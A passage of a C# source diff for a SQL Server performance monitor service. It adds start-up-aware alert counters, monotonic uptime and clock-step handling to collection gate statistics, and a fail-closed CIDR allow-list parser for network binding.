             bucket.QueueWaits++;
             bucket.QueueWaitTicks += ticks;
             bucket.QueueWaitMaxTicks = Math.Max(bucket.QueueWaitMaxTicks, ticks);
+            if (judged)
+            {
+                bucket.JudgedQueueWaits++;
+                bucket.JudgedQueueWaitTicks += ticks;
+                bucket.JudgedQueueWaitMaxTicks = Math.Max(bucket.JudgedQueueWaitMaxTicks, ticks);
+            }
+        }
+    }
+
+    /// <summary>
+    /// The slots that ran and the slots skipped over the current minute and the <c>minutes - 1</c> before it (#5592):
+    /// the same per-minute buckets the self-alert is judged on, read over a shorter window, so the retention drain's
+    /// "is collection behind" test counts exactly what "Collection Falling Behind" counts, from one read under one
+    /// lock (a share of due slots needs both counts from the same instant). The window is capped at
+    /// <see cref="WindowMinutes"/>; 0 or less reads nothing.
+    /// </summary>
+    public (long Run, long Skipped) SlotsInLastMinutes(int minutes)
+    {
+        if (minutes <= 0)
+        {
+            return (0, 0);
+        }
+
+        minutes = Math.Min(minutes, WindowMinutes);
+        lock (_lock)
+        {
+            var minute = MinuteOf(_utcNow());
+            FoldBucketsAheadOf(minute);
+            long run = 0, skipped = 0;
+            foreach (var bucket in _buckets)
+            {
+                if (bucket.Minute > minute - minutes)
+                {
+                    run += bucket.Run;
+                    skipped += bucket.Skipped;
+                }
+            }
+
+            return (run, skipped);
         }
     }
 
     /// <summary>The counts over the current minute and the 59 before it.</summary>
-    public FleetGateSnapshot Snapshot()
+    public FleetGateSnapshot Snapshot() => Read(judged: false);
+
+    /// <summary>
+    /// The counts over the current minute and the 59 before it, limited to what was recorded once the service had run
+    /// <see cref="DarlingSelfAlertEvaluator.FleetGateStartupMinutes"/> minutes (#5597): the slots that ran, the slots skipped and
+    /// the queue waits. The "Collection Falling Behind" alert judges this; the hourly log line keeps <see cref="Snapshot"/>. The
+    /// window is the same 60 buckets as <see cref="Snapshot"/>, so a wall-clock step moves the same counts either way, and the
+    /// start-up counts cannot come back into it.
+    /// </summary>
+    public FleetGateSnapshot SnapshotJudged() => Read(judged: true);
+
+    private FleetGateSnapshot Read(bool judged)
     {
         lock (_lock)
         {
@@ -110,11 +217,11 @@ public FleetGateSnapshot Snapshot()
                 /* No bucket is ahead of the clock here: FoldBucketsAheadOf moved each into the current minute. */
                 if (bucket.Minute > minute - WindowMinutes)
                 {
-                    run += bucket.Run;
-                    skipped += bucket.Skipped;
-                    waits += bucket.QueueWaits;
-                    waitTicks += bucket.QueueWaitTicks;
-                    waitMaxTicks = Math.Max(waitMaxTicks, bucket.QueueWaitMaxTicks);
+                    run += judged ? bucket.JudgedRun : bucket.Run;
+                    skipped += judged ? bucket.JudgedSkipped : bucket.Skipped;
+                    waits += judged ? bucket.JudgedQueueWaits : bucket.QueueWaits;
+                    waitTicks += judged ? bucket.JudgedQueueWaitTicks : bucket.QueueWaitTicks;
+                    waitMaxTicks = Math.Max(waitMaxTicks, judged ? bucket.JudgedQueueWaitMaxTicks : bucket.QueueWaitMaxTicks);
                 }
             }
 
@@ -190,18 +297,28 @@ private struct Bucket
         public long Minute;
         public long Run;
         public long Skipped;
+        public long JudgedRun;
+        public long JudgedSkipped;
         public long QueueWaits;
         public long QueueWaitTicks;
         public long QueueWaitMaxTicks;
+        public long JudgedQueueWaits;
+        public long JudgedQueueWaitTicks;
+        public long JudgedQueueWaitMaxTicks;
 
         /// <summary>Adds another bucket's counts to this one; the minute is left alone.</summary>
         public void Add(in Bucket other)
         {
             Run += other.Run;
             Skipped += other.Skipped;
+            JudgedRun += other.JudgedRun;
+            JudgedSkipped += other.JudgedSkipped;
             QueueWaits += other.QueueWaits;
             QueueWaitTicks += other.QueueWaitTicks;
             QueueWaitMaxTicks = Math.Max(QueueWaitMaxTicks, other.QueueWaitMaxTicks);
+            JudgedQueueWaits += other.JudgedQueueWaits;
+            JudgedQueueWaitTicks += other.JudgedQueueWaitTicks;
+            JudgedQueueWaitMaxTicks = Math.Max(JudgedQueueWaitMaxTicks, other.JudgedQueueWaitMaxTicks);
         }
     }
 }
@@ -209,9 +326,26 @@ public void Add(in Bucket other)
 /// <summary>The one-line summary the worker logs (#4732): the last hour's counts and the gate's width.</summary>
 internal static class FleetGateLine
 {
-    internal static string Describe(FleetGateSnapshot snapshot, int gateWidth) => string.Create(
+    /// <summary>
+    /// #5597: how many minutes the counts of the line cover: the hour, or the minutes the service has run
+    /// (<see cref="SkipCreditFloor.Uptime"/>, a monotonic clock, so a wall-clock step cannot make it "1 minute") while that is
+    /// under an hour (rounded up to a whole minute, at least 1). The first line after a start came 4.5 to 6.9 minutes in and
+    /// still said "last 60 minutes". 60 when the loop has not ticked yet.
+    /// </summary>
+    internal static int SpanMinutes(TimeSpan? uptime)
+    {
+        if (uptime is not { } ran)
+        {
+            return FleetGateStats.WindowMinutes;
+        }
+
+        var whole = (ran.Ticks + TimeSpan.TicksPerMinute - 1) / TimeSpan.TicksPerMinute;
+        return (int)Math.Clamp(whole, 1, FleetGateStats.WindowMinutes);
+    }
+
+    internal static string Describe(FleetGateSnapshot snapshot, int gateWidth, int spanMinutes = FleetGateStats.WindowMinutes) => string.Create(
         CultureInfo.InvariantCulture,
-        $"fleet collection gate, last {FleetGateStats.WindowMinutes} minutes: {snapshot.Run:N0} collector slots ran, {snapshot.Skipped:N0} skipped ({snapshot.SkippedPercent:0.#}%); {snapshot.QueueWaits:N0} bodies queued for a gate slot (average {snapshot.QueueWaitAverage.TotalMilliseconds:N0} ms, longest {snapshot.QueueWaitMax.TotalMilliseconds:N0} ms); gate width {gateWidth}");
+        $"fleet collection gate, last {spanMinutes} minutes{(spanMinutes < FleetGateStats.WindowMinutes ? ", since the service started" : string.Empty)}: {snapshot.Run:N0} collector slots ran, {snapshot.Skipped:N0} skipped ({snapshot.SkippedPercent:0.#}%); {snapshot.QueueWaits:N0} bodies queued for a gate slot (average {snapshot.QueueWaitAverage.TotalMilliseconds:N0} ms, longest {snapshot.QueueWaitMax.TotalMilliseconds:N0} ms); gate width {gateWidth}");
 }
 
 /// <summary>
@@ -273,10 +407,22 @@ internal sealed class SkipCreditFloor
     /// seconds, so this is eight ticks in a row missing.</summary>
     internal static readonly TimeSpan MaxTickGap = TimeSpan.FromMinutes(2);
 
+    private static readonly long s_processOrigin = Stopwatch.GetTimestamp();
+
+    private readonly Func<TimeSpan> _monotonic;
     private long _floorTicks;
     private long _lastTickTicks;
+    private long _firstMonotonicTicks = -1;
     private bool _ticked;
 
+    /// <summary>The floor reads time on the process's monotonic clock (a stopwatch), which a wall-clock step cannot move.</summary>
+    public SkipCreditFloor() : this(static () => Stopwatch.GetElapsedTime(s_processOrigin))
+    {
+    }
+
+    /// <summary>A floor with a monotonic clock of the caller's own, so a test moves the two clocks apart.</summary>
+    internal SkipCreditFloor(Func<TimeSpan> monotonic) => _monotonic = monotonic;
+
     /// <summary>The instant before which no slot counts as skipped: <see cref="DateTime.MinValue"/> until the loop
     /// first comes back from a stretch it was not running.</summary>
     public DateTime Floor => new(Interlocked.Read(ref _floorTicks), DateTimeKind.Utc);
@@ -285,7 +431,8 @@ internal sealed class SkipCreditFloor
     /// Called on every pass of the sweep loop, paused or not, before the pass does anything else. Raises the floor to
     /// <paramref name="nowUtc"/> when the time since the previous tick is over <see cref="MaxTickGap"/> or negative.
     /// The floor follows the clock down after a backward step instead of staying ahead of it, because a floor
-    /// ahead of the clock would hide every real skip until the clock caught up to it.
+    /// ahead of the clock would hide every real skip until the clock caught up to it. The first call also stamps the
+    /// service start on the monotonic clock (<see cref="Uptime"/>).
     /// </summary>
     public void Tick(DateTime nowUtc)
     {
@@ -296,6 +443,7 @@ public void Tick(DateTime nowUtc)
 
         if (!hadPrevious)
         {
+            Interlocked.Exchange(ref _firstMonotonicTicks, _monotonic().Ticks);
             return;
         }
 
@@ -306,6 +454,43 @@ public void Tick(DateTime nowUtc)
         }
     }
 
+    /// <summary>
+    /// #5597: how long the sweep loop has run since its first tick (the service start, as far as collection goes), on a
+    /// monotonic clock; null before the first tick. A wall clock that steps back cannot lengthen it, so the start-up
+    /// minutes the alert leaves out are never more than the real ones. Only a service START gets those minutes: a floor
+    /// raise (a stall over <see cref="MaxTickGap"/>, a clock step), the end of a pause and the memory launch guard's release do
+    /// not start them again, because a store that stalls or is held off every 20 minutes is behind, and the alert has to see it.
+    /// </summary>
+    public TimeSpan? Uptime
+    {
+        get
+        {
+            var first = Interlocked.Read(ref _firstMonotonicTicks);
+            return first < 0 ? null : TimeSpan.FromTicks(Math.Max(0, _monotonic().Ticks - first));
+        }
+    }
+
+    /// <summary>
+    /// #5597: a per-server seed stamp (the wall-clock instant a connect body finished seeding) that is ahead of
+    /// <paramref name="nowUtc"/> because the clock stepped back after it was written, brought down to now. Counting from an
+    /// instant that has not happened leaves no slot due, so every slot of every server that connected inside the step went
+    /// uncounted until the clock caught up to the stamp.
+    /// </summary>
+    internal static long ClampSeedStamp(long stampTicks, DateTime nowUtc) => Math.Min(stampTicks, nowUtc.Ticks);
+
+    /// <summary>The same clamp on the stored stamp: the stamp itself moves down, so the later passes count from it.</summary>
+    internal static long ClampSeedStamp(ref long stampTicks, DateTime nowUtc)
+    {
+        var stamp = Interlocked.Read(ref stampTicks);
+        var clamped = ClampSeedStamp(stamp, nowUtc);
+        if (clamped != stamp)
+        {
+            Interlocked.CompareExchange(ref stampTicks, clamped, stamp);
+        }
+
+        return clamped;
+    }
+
     /// <summary>Called on the first pass that runs collection after a pause, however short the pause was: the ticks
     /// kept coming through it, so <see cref="Tick"/> saw no gap, but nothing was collected.</summary>
     public void Resume(DateTime nowUtc) => Interlocked.Exchange(ref _floorTicks, nowUtc.Ticks);
@@ -315,9 +500,111 @@ public void Tick(DateTime nowUtc)
     /// <paramref name="nowUtc"/>, counting only the slots that came due at or after the floor. 0 when the floor is at or
     /// after <paramref name="nowUtc"/>.
     /// </summary>
-    public long Skipped(DateTime due, DateTime nowUtc, TimeSpan interval)
+    public long Skipped(DateTime due, DateTime nowUtc, TimeSpan interval) => Skipped(due, nowUtc, interval, default);
+
+    /// <summary>
+    /// #5597: the same count with a floor of the caller's own. A server's connect body seeds its collectors' first due
+    /// stamps from a clock read BEFORE it runs its on-load snapshots, and that body is the server's only body: the slots
+    /// that came due while it ran could not have run, so the pass counts from the instant the seeding finished
+    /// (<paramref name="notBefore"/>) when that is later than <see cref="Floor"/>.
+    /// </summary>
+    public long Skipped(DateTime due, DateTime nowUtc, TimeSpan interval, DateTime notBefore)
     {
         var floor = Floor;
+
+        if (notBefore > floor)
+        {
+            floor = notBefore;
+        }
+
         return CollectorCadence.SkippedSlots(due < floor ? floor : due, nowUtc, interval);
     }
 }
+
+/// <summary>
+/// What a collector slot's watermark remembers while the memory launch guard holds collection off (#5479): the due stamp
+/// the count was made against, the interval it was counted at, how many lost slots were already counted for it, and the
+/// earliest slot the count may reach back to. An interval change mid-hold restarts the mark at the change (the due stamp
+/// keeps its place, so without that the new, shorter interval would count every slot of the hold so far at once). Written
+/// only by the sweep loop thread.
+/// </summary>
+internal readonly record struct HeldSlotMark(DateTime Due, long Counted, TimeSpan Interval = default, DateTime Floor = default);
+
+/// <summary>
+/// #5479: the skipped-slot count while the launch guard holds collection off. A held pass launches no body, so no body
+/// records a slot, and the hour's count read "0 ran, 0 skipped" and cleared "Collection Falling Behind" an hour into an
+/// outage; when the guard released, the first bodies stepped over every slot at once (101,774 of 101,881).
+///
+/// <para>A held slot is a skipped slot, so each slot that comes due is counted once, within a pass of its due time. The
+/// due stamp does not move during a hold, so the total lost since the stamp is a pure function of the clock
+/// (<see cref="Lost"/>) and a <see cref="HeldSlotMark"/> keeps what was already counted, so no slot is counted twice
+/// (<see cref="Newly"/>). For a collector on the interval grid a slot is lost once the NEXT slot has come due, which is
+/// exactly the count <see cref="CollectorCadence.SkippedSlots"/> gives when a run finally steps over it: the held count
+/// is that number spread over the hold. The slot at the stamp itself is the one the first run after the hold serves, so
+/// it is counted as a run then and never as skipped here. A collector with a run time has no next slot to wait for: its
+/// day is lost once the grace after its stamp has passed.</para>
+///
+/// <para>When the guard releases, the loop calls <see cref="SkipCreditFloor.Resume"/>, so the first bodies count none of
+/// what this counted.</para>
+/// </summary>
+internal static class HeldSlots
+{
+    /// <summary>
+    /// How many slots of one collector are lost by <paramref name="nowUtc"/>, for a due stamp that has not moved since
+    /// <paramref name="due"/>: the slots at <c>due + k * interval</c> that are not before <paramref name="floor"/> (a slot
+    /// that came due while the loop was not running is not the guard's doing) and whose <paramref name="serveWindow"/> has
+    /// passed. Pass the interval as the window for a collector on the grid, the run-time grace for one with a run time.
+    /// </summary>
+    public static long Lost(DateTime due, DateTime nowUtc, DateTime floor, TimeSpan interval, TimeSpan serveWindow)
+    {
+        ArgumentOutOfRangeException.ThrowIfLessThanOrEqual(interval, TimeSpan.Zero);
+
+        var first = due;
+        if (due < floor)
+        {
+            first = due + TimeSpan.FromTicks(interval.Ticks * (long)Math.Ceiling((floor - due).Ticks / (double)interval.Ticks));
+        }
+
+        var lostAt = first + serveWindow;
+        if (nowUtc < lostAt)
+        {
+            return 0;
+        }
+
+        return (long)Math.Floor((nowUtc - lostAt).Ticks / (double)interval.Ticks) + 1;
+    }
+
+    /// <summary>
+    /// The slots to add to the skipped count on this pass: the lost total less what the mark already holds. The mark is
+    /// moved to the new total, also when the total fell (the floor was raised by a sleep or a pause), so a slot is never
+    /// counted twice and the count starts again from the raised floor. A mark made for another due stamp is dropped: the
+    /// stamp moved because a body ran, and that body counted its own slots. A mark made for another interval is restarted at
+    /// <paramref name="nowUtc"/>: the slots before the change were counted (or not) at the old interval, and counting them
+    /// again at the new one would invent them (60 minutes to 1 minute during a 2 hour hold made 119 slots at once).
+    /// </summary>
+    public static long Newly(
+        DateTime due, DateTime nowUtc, DateTime floor, TimeSpan interval, TimeSpan serveWindow, ref HeldSlotMark mark)
+    {
+        long counted;
+        DateTime markFloor;
+        if (mark.Due != due)
+        {
+            counted = 0;
+            markFloor = DateTime.MinValue;
+        }
+        else if (mark.Interval != interval)
+        {
+            counted = 0;
+            markFloor = nowUtc;
+        }
+        else
+        {
+            counted = mark.Counted;
+            markFloor = mark.Floor;
+        }
+
+        var total = Lost(due, nowUtc, floor > markFloor ? floor : markFloor, interval, serveWindow);
+        mark = new HeldSlotMark(due, total, interval, markFloor);
+        return Math.Max(0, total - counted);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Hosting/CidrAllowList.cs b/Darling/PerformanceMonitor.Darling.Service/Hosting/CidrAllowList.cs
new file mode 100644
index 0000000000..5ce1914401
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Hosting/CidrAllowList.cs
@@ -0,0 +1,305 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Net;
+using System.Net.Sockets;
+using System.Text.Json;
+using System.Text.Json.Serialization;
+
+namespace PerformanceMonitor.Darling.Service.Hosting;
+
+/// <summary>
+/// #5288: the parsed form of <c>mcp.network.allowFrom</c> / <c>web.network.allowFrom</c> — one CIDR or a LIST
+/// of them. The config property stays a <c>string?</c> (every consumer keeps compiling, and a JSON array is
+/// joined with <c>,</c> by <see cref="CidrListJsonConverter"/>), and THIS type is the one parser: the bind
+/// ladder (<see cref="DarlingHostBinding.ResolveBind"/>), the in-app gate
+/// (<see cref="DarlingHostBinding.IsRemoteAddressAllowed"/>) and both hosts' start-up all read the list through
+/// <see cref="TryParse"/>, so what the ladder validates is exactly what the gate enforces.
+///
+/// <para>The text is split on <c>,</c> and each entry is trimmed. An EMPTY entry (a trailing comma, <c>,,</c>,
+/// a blank array element) is refused rather than skipped: a hand-edit that leaves one behind is a typo worth
+/// failing loudly on, and a silently narrower or wider list is the wrong way to find out. Each entry must be
+/// CIDR form (<c>/32</c> or <c>/128</c> for one address, exactly as before the list existed), parsed by
+/// <c>IPNetwork.TryParse</c>, which MASKS host bits rather than refusing them:
+/// <c>192.168.1.5/24</c> is accepted as <c>192.168.1.0/24</c>, and <see cref="ToString"/> (and so the start
+/// line) shows the masked form, which is how a masked entry becomes visible. Duplicates (after masking) are
+/// dropped and the first-seen order is kept.</para>
+///
+/// <para><b>An address must be spelled the plain way</b> (<see cref="IsPlainCidrText"/>): an IPv4 address, or the
+/// dotted tail of an IPv6 one, is exactly four decimal numbers 0-255 with no leading zero, and an IPv6 zone
+/// index (<c>%</c>) is refused, so the range written is the range enforced and opened in the firewall.
+/// <c>IPNetwork.TryParse</c> alone also takes the inet_aton spellings (<c>192.168.010.0/24</c> reads as
+/// <c>192.168.8.0/24</c> because a leading zero is octal, <c>0x0A.0.0.0/8</c> as <c>10.0.0.0/8</c>, <c>10/8</c>
+/// as <c>0.0.0.0/8</c>); those are refused. The text is checked as written, BEFORE masking, so
+/// <c>192.168.1.5/24</c> still parses.</para>
+///
+/// <para><b>An IPv4-mapped IPv6 entry (<c>::ffff:10.0.0.0/104</c>) is refused.</b> <c>IPNetwork.Parse</c>
+/// accepts it, but <see cref="DarlingHostBinding.IsRemoteAddressAllowed"/> maps a mapped REMOTE to IPv4 before
+/// it tests the list, so a mapped entry can never match anything — dead config the family rule exists to
+/// refuse loudly.</para>
+///
+/// <para><b><c>default(CidrAllowList)</c> is EMPTY and admits nobody</b> (<see cref="Contains"/> is false,
+/// <see cref="ToString"/> is empty). That is the opposite of <c>default(IPNetwork)</c>, which is
+/// <c>0.0.0.0/0</c> and admits every IPv4 address, so the implicit conversion from <see cref="IPNetwork"/>
+/// below carries a REAL network only: no <c>IPNetwork</c> default may reach it, which is why every former
+/// <c>IPNetwork allowedCidr = default</c> is now <c>CidrAllowList allowedCidr = default</c>. Loopback is not a
+/// list matter: <see cref="DarlingHostBinding.IsRemoteAddressAllowed"/> admits it before it asks the list.</para>
+/// </summary>
+internal readonly struct CidrAllowList
+{
+    /// <summary>Null for <c>default</c>; otherwise at least one entry (the parser never builds an empty list).</summary>
+    private readonly IPNetwork[]? _entries;
+
+    private CidrAllowList(IPNetwork[] entries) => _entries = entries;
+
+    /// <summary>The entries, masked and de-duplicated, in the order written. Empty for <c>default</c>.</summary>
+    internal IReadOnlyList<IPNetwork> Entries => _entries ?? Array.Empty<IPNetwork>();
+
+    /// <summary>How many entries the list holds (0 for <c>default</c>).</summary>
+    internal int Count => _entries?.Length ?? 0;
+
+    /// <summary>
+    /// Parses <paramref name="text"/> (one CIDR, or CIDRs separated by commas) per the rules on the type.
+    /// Null, empty, whitespace-only, an empty entry, a non-CIDR entry (including a bare address with no prefix),
+    /// an address not spelled the plain way (<see cref="IsPlainCidrText"/>) and an IPv4-mapped IPv6 entry all
+    /// return false with <paramref name="list"/> left at <c>default</c>. Never throws.
+    /// </summary>
+    internal static bool TryParse(string? text, out CidrAllowList list)
+    {
+        list = default;
+        if (string.IsNullOrWhiteSpace(text))
+        {
+            return false;
+        }
+
+        var entries = new List<IPNetwork>();
+        var seen = new HashSet<string>(StringComparer.Ordinal);
+        foreach (var raw in text.Split(','))
+        {
+            var entry = raw.Trim();
+            if (entry.Length == 0
+                || !IPNetwork.TryParse(entry, out var network)
+                || network.BaseAddress.IsIPv4MappedToIPv6
+                || !IsPlainCidrText(entry))
+            {
+                return false;
+            }
+
+            if (seen.Add(network.ToString()))
+            {
+                entries.Add(network);
+            }
+        }
+
+        list = new CidrAllowList(entries.ToArray());
+        return true;
+    }
+
+    /// <summary>
+    /// #5288: true when the ONE entry <paramref name="cidr"/> (<c>address/prefix</c>, already trimmed) spells its
+    /// address the plain way. The text before the LAST <c>/</c> is checked as written, BEFORE any masking, so
+    /// <c>192.168.1.5/24</c> is plain (the parser masks it to <c>192.168.1.0/24</c> afterwards). An IPv4 address,
+    /// or the dotted tail of an IPv6 address (<c>64:ff9b::192.0.2.33/96</c>), must be exactly four decimal
+    /// numbers 0-255 with no leading zero. An IPv6 address with no dotted tail is hex groups only and has no
+    /// second reading. Any <c>%</c> (an IPv6 zone index) is false.
+    ///
+    /// <para>This is shared by <see cref="TryParse"/> and the store's single-CIDR check
+    /// (<c>DarlingManagedPostgres.ResolveNetworkExposure</c>, which feeds <c>pg_hba.conf</c>). It does not
+    /// replace <c>IPNetwork.TryParse</c>: call it on an entry that parser already accepted. Pure; never throws.</para>
+    /// </summary>
+    internal static bool IsPlainCidrText(string cidr)
+    {
+        if (cidr.Contains('%', StringComparison.Ordinal))
+        {
+            return false;
+        }
+
+        var slash = cidr.LastIndexOf('/');
+        if (slash <= 0)
+        {
+            return false;
+        }
+
+        var address = cidr[..slash];
+        var colon = address.LastIndexOf(':');
+        if (colon < 0)
+        {
+            return IsPlainDottedQuad(address);
+        }
+
+        /* IPv6: only a dotted tail has a decimal spelling to check, and it can only sit after the last colon. */
+        var tail = address[(colon + 1)..];
+        return !address.AsSpan(0, colon).Contains('.')
+            && (!tail.Contains('.', StringComparison.Ordinal) || IsPlainDottedQuad(tail));
+    }
+
+    /// <summary>Exactly four decimal numbers 0-255 joined by <c>.</c>, each one to three ASCII digits with no
+    /// leading zero (a lone <c>0</c> is fine).</summary>
+    private static bool IsPlainDottedQuad(string text)
+    {
+        var parts = text.Split('.');
+        if (parts.Length != 4)
+        {
+            return false;
+        }
+
+        foreach (var part in parts)
+        {
+            if (part.Length is 0 or > 3 || (part.Length > 1 && part[0] == '0'))
+            {
+                return false;
+            }
+
+            var value = 0;
+            foreach (var c in part)
+            {
+                if (c is < '0' or > '9')
+                {
+                    return false;
+                }
+
+                value = (value * 10) + (c - '0');
+            }
+
+            if (value > 255)
+            {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /// <summary>
+    /// <see cref="TryParse"/> for a caller that has ALREADY validated the text (the hosts, after
+    /// <see cref="DarlingHostBinding.ResolveBind"/> answered network mode): throws
+    /// <see cref="FormatException"/> instead of returning false.
+    /// </summary>
+    internal static CidrAllowList Parse(string text)
+        => TryParse(text, out var list)
+            ? list
+            : throw new FormatException($"'{text}' is not a valid CIDR list (one CIDR, or CIDRs separated by commas).");
+
+    /// <summary>True when <paramref name="address"/> falls inside ANY entry. False for <c>default</c> and for a
+    /// null address (fail closed). Pure range membership: loopback and IPv4-mapped unwrapping are
+    /// <see cref="DarlingHostBinding.IsRemoteAddressAllowed"/>'s job, in one place.</summary>
+    internal bool Contains(IPAddress? address)
+    {
+        if (address is null || _entries is null)
+        {
+            return false;
+        }
+
+        foreach (var entry in _entries)
+        {
+            if (entry.Contains(address))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>True when EVERY entry is of <paramref name="family"/> — the bind ladder's family rule. An empty
+    /// (<c>default</c>) list has no entry to be of any family, so it is false: it must not pass as valid.</summary>
+    internal bool AllInFamily(AddressFamily family)
+    {
+        if (_entries is null)
+        {
+            return false;
+        }
+
+        foreach (var entry in _entries)
+        {
+            if (entry.BaseAddress.AddressFamily != family)
+            {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /// <summary>The canonical text: each entry as <c>base/prefix</c> (host bits masked), joined by <c>,</c> with
+    /// no spaces — so ONE entry is byte-for-byte what <see cref="IPNetwork.ToString"/> gave before the list
+    /// existed. Empty for <c>default</c>.</summary>
+    public override string ToString()
+        => _entries is null ? "" : string.Join(",", _entries);
+
+    /// <summary>One network as a one-entry list, so a caller (a test, the firewall check) that holds an
+    /// <see cref="IPNetwork"/> keeps compiling. A REAL network only: <c>default(IPNetwork)</c> is
+    /// <c>0.0.0.0/0</c> (allow every IPv4 address) and must never be converted — see the type remarks.</summary>
+    public static implicit operator CidrAllowList(IPNetwork network) => new([network]);
+}
+
+/// <summary>
+/// #5288: reads <c>allowFrom</c> from darling.json as a JSON string (one CIDR, or CIDRs separated by commas) OR a
+/// JSON array of strings, and hands the config property one <c>string?</c> either way: an array is joined with
+/// <c>,</c> (no spaces). The converter validates SHAPE only — it never parses a CIDR, so
+/// <see cref="CidrAllowList.TryParse"/> stays the one parser and a bad entry degrades the listener through the
+/// bind ladder (<c>AllowFromInvalid</c>, Critical, loopback-only) instead of failing the whole config load.
+///
+/// <para>Any other shape throws <see cref="JsonException"/>, which is what a non-string <c>allowFrom</c> already
+/// did: a number or object, or an array holding a non-string element (a number, <c>null</c>, a nested array).
+/// A JSON <c>null</c> is a null <c>allowFrom</c>, as before.</para>
+/// </summary>
+internal sealed class CidrListJsonConverter : JsonConverter<string?>
+{
+    public override string? Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options)
+    {
+        switch (reader.TokenType)
+        {
+            case JsonTokenType.Null:
+                return null;
+
+            case JsonTokenType.String:
+                return reader.GetString();
+
+            case JsonTokenType.StartArray:
+            {
+                var parts = new List<string>();
+                while (reader.Read())
+                {
+                    if (reader.TokenType == JsonTokenType.EndArray)
+                    {
+                        return string.Join(",", parts);
+                    }
+
+                    if (reader.TokenType != JsonTokenType.String)
+                    {
+                        throw new JsonException(
+                            $"allowFrom array elements must be strings (CIDRs); found {reader.TokenType}.");
+                    }
+
+                    parts.Add(reader.GetString()!);
+                }
+
+                throw new JsonException("allowFrom array is not terminated.");
+            }
+
+            default:
+                throw new JsonException(
+                    $"allowFrom must be a string (one CIDR, or CIDRs separated by commas) or an array of strings; found {reader.TokenType}.");
+        }
+    }
+
+    public override void Write(Utf8JsonWriter writer, string? value, JsonSerializerOptions options)
+    {
+        if (value is null)
+        {
+            writer.WriteNullValue();
+        }
+        else
+        {
+            writer.WriteStringValue(value);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingHostBinding.cs b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingHostBinding.cs
index a8d1494dc8..2da424ccfa 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingHostBinding.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingHostBinding.cs
@@ -66,7 +66,7 @@ internal enum BindReason
         /// <summary>Exposed + managed but no bearer token — fail-closed to loopback.</summary>
         TokenMissing,
 
-        /// <summary>Exposed + managed + token but allowFrom is missing/not a valid CIDR or its family does not match the listen — fail-closed to loopback.</summary>
+        /// <summary>Exposed + managed + token but allowFrom is missing, is not a valid CIDR list (one CIDR, or CIDRs separated by commas, #5288), or an entry's family does not match the listen — fail-closed to loopback.</summary>
         AllowFromInvalid,
     }
 
@@ -92,7 +92,8 @@ internal static bool IsRunningInContainer
     /// (non-loopback) address (via <see cref="DarlingNetwork.IsExposedListenAddress"/> — so <c>127.0.0.1</c>
     /// stays loopback, never a network bind/collision) that ALSO parses as an IP, AND <paramref name="managed"/>
     /// is true, AND a bearer token is present (<paramref name="tokenPresent"/> — presence only; the host
-    /// decrypts later), AND <paramref name="allowFrom"/> is a valid CIDR of the SAME address family as the
+    /// decrypts later), AND <paramref name="allowFrom"/> is a valid CIDR list (#5288: one CIDR, or CIDRs separated
+    /// by commas — see <see cref="CidrAllowList"/>) whose EVERY entry is of the SAME address family as the
     /// listen. Otherwise loopback-only with the specific reason. Never throws; never consults a logger.
     /// <paramref name="networkConfigured"/> is "the surface's network block has any field set" — used only for
     /// the BYO "network.* is ignored" notice (the network path never runs in BYO).
@@ -142,15 +143,19 @@ dominates a missing/invalid listen/token/allowFrom so the operator sees the acti
             return new BindDecision(BindMode.LoopbackOnly, BindReason.TokenMissing);
         }
 
-        /* allowFrom must be a valid CIDR (host bits zeroed) whose address family matches the listen: a
-           mismatched family would bind one family while the in-app CIDR check rejects the other, 403-ing every
-           network client — fail-closed but silently non-functional, so degrade with a clear reason instead. */
-        if (string.IsNullOrWhiteSpace(allowFrom) || !IPNetwork.TryParse(allowFrom.Trim(), out var cidr))
-        {
-            return new BindDecision(BindMode.LoopbackOnly, BindReason.AllowFromInvalid);
-        }
-
-        if (cidr.BaseAddress.AddressFamily != listenIp.AddressFamily)
+        /* allowFrom must be a valid CIDR LIST (#5288: one CIDR, or CIDRs separated by commas; CidrAllowList
+           holds the exact rules — host bits are MASKED rather than refused, an empty entry or an IPv4-mapped
+           IPv6 entry is refused) and EVERY entry's address family must match the listen: a mismatched entry
+           can never admit a client on a listener bound to the other family, which is dead config, and the old
+           single-CIDR form of this rule existed to refuse dead config loudly rather than 403 every network
+           client in silence. One wrong entry degrades the whole listener (Critical, loopback-only) instead of
+           being dropped, because a quietly narrower list is the wrong way to learn about a typo.
+
+           The rule stays strict on a "::" listen. Kestrel binds IPv6Any dual-stack, so IPv4 clients DO arrive
+           there, as IPv4-mapped IPv6 addresses (IsRemoteAddressAllowed unwraps them before it asks the list),
+           yet an IPv4 entry is still refused: "::" takes IPv6 entries only. */
+        if (!CidrAllowList.TryParse(allowFrom, out var allowList)
+            || !allowList.AllInFamily(listenIp.AddressFamily))
         {
             return new BindDecision(BindMode.LoopbackOnly, BindReason.AllowFromInvalid);
         }
@@ -191,9 +196,12 @@ internal static bool ShouldAddLoopbackListeners(IPAddress listenIp)
     /// PURE in-app CIDR check: is <paramref name="remoteIp"/> allowed? Loopback (<c>127.0.0.0/8</c> or
     /// <c>::1</c>, incl. an IPv4-mapped-IPv6 form) is ALWAYS allowed — it is not in
     /// <paramref name="allowedCidr"/>, so otherwise the loopback bind's local clients would be rejected.
-    /// Everything else must fall inside the CIDR. A null remote (unverifiable origin) fails closed.
+    /// Everything else must fall inside ANY entry of the list (#5288). An IPv4-mapped IPv6 remote
+    /// (<c>::ffff:a.b.c.d</c>, how an IPv4 client reaches a dual-stack <c>::</c> listener) is unwrapped to IPv4
+    /// first, so it matches an IPv4 entry. A null remote (unverifiable origin) fails closed, and so does an
+    /// empty (<c>default</c>) list.
     /// </summary>
